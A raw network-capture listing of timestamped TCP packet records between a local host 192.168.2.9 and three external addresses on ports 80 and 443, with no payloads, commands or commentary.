Sep 29, 2024 00:53:25.387814045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387830973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387839079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387845993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387845993 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387851954 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.387855053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387860060 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.387864113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387870073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387876034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387880087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387887001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387891054 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.387892962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387898922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387906075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387908936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387912035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387919903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387924910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387933016 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.387944937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.387947083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387954950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387963057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387973070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.387974024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388009071 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388243914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388252020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388257980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388305902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388353109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388360023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388371944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388377905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388384104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388390064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388396025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388398886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388406992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388417006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388417959 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388431072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388438940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388441086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388444901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388453960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388457060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388459921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388467073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388477087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388492107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388499975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388509989 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388511896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388520002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388526917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388535976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388555050 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388564110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388570070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388573885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388597965 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388608932 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388638020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388643980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388653040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388659000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388664961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388679028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388685942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.388688087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388716936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.388999939 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.389014959 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.389076948 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.389076948 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.389084101 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.389183044 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.389955044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.389991045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.389996052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390002966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390005112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390010118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390037060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390053034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390058041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390058994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390114069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390120983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390121937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390197039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390264988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390360117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390364885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390372992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390378952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390386105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390392065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390398979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390404940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390424967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390444994 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390846014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390853882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390861988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390873909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390881062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390887022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390898943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.390898943 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390923023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.390939951 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391460896 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.391463995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391469955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391478062 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.391508102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391521931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391525030 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.391546965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391555071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391571999 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.391572952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391577959 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.391586065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391601086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391602039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391630888 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.391650915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391733885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391748905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.391793013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391793013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.391864061 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.391880989 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.391926050 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.391931057 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.391971111 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.391971111 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.392443895 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.392460108 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.392508030 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.392513037 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.392623901 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.393227100 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.393507004 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.393522024 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.393549919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393558025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393563032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393572092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393575907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393588066 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.393589020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393594027 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.393596888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393603086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.393604040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.393614054 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.393620968 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.393650055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.393666029 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.394479990 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.394520998 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.394541025 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.394546986 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.394575119 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.394596100 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.418519974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418528080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418553114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418560982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418567896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418582916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418590069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418593884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.418596983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.418621063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.418642044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.419631004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.419639111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.419646025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.419698954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.419712067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.419718981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.419730902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.419738054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.419764042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.419776917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.466990948 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467041969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467047930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467058897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467066050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467072010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467077971 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467083931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467145920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467154026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467168093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467174053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467180014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467201948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467201948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467201948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467237949 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467237949 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467257023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467289925 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467303038 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467335939 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467367887 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467374086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467379093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467396021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467402935 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467407942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467415094 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467432976 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.467436075 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467453957 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.467457056 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467495918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467503071 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467509031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467514992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467515945 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.467515945 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.467520952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467525959 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.467528105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467541933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467541933 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467549086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467554092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467573881 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467601061 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467612028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467616081 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.467617989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467623949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467634916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467641115 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467645884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467653036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467658043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467669010 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467669964 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467684984 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467713118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467715979 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467720032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467729092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467735052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467741966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467746019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467766047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467778921 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467811108 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467823982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467828989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467834949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467845917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467850924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467856884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467861891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467875004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467880011 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467886925 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467888117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467891932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467899084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467904091 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467911005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467912912 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467917919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467922926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467933893 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467956066 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467972040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467978001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467978001 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.467992067 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.467997074 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.468003035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.468008995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.468023062 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.468040943 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.468044043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.468064070 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.468813896 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.468954086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.468960047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.468966961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.468977928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469027042 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469047070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469053030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469058037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469069004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469082117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469085932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469090939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469096899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469101906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469109058 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469125986 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469149113 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469172001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469178915 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469185114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469196081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469235897 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469285965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469290972 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469296932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469307899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469314098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469326019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469331980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469336987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469343901 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469348907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469351053 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469355106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469367027 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469388008 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.469391108 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.469394922 CEST	80	49712	176.113.115.95	192.168.2.9
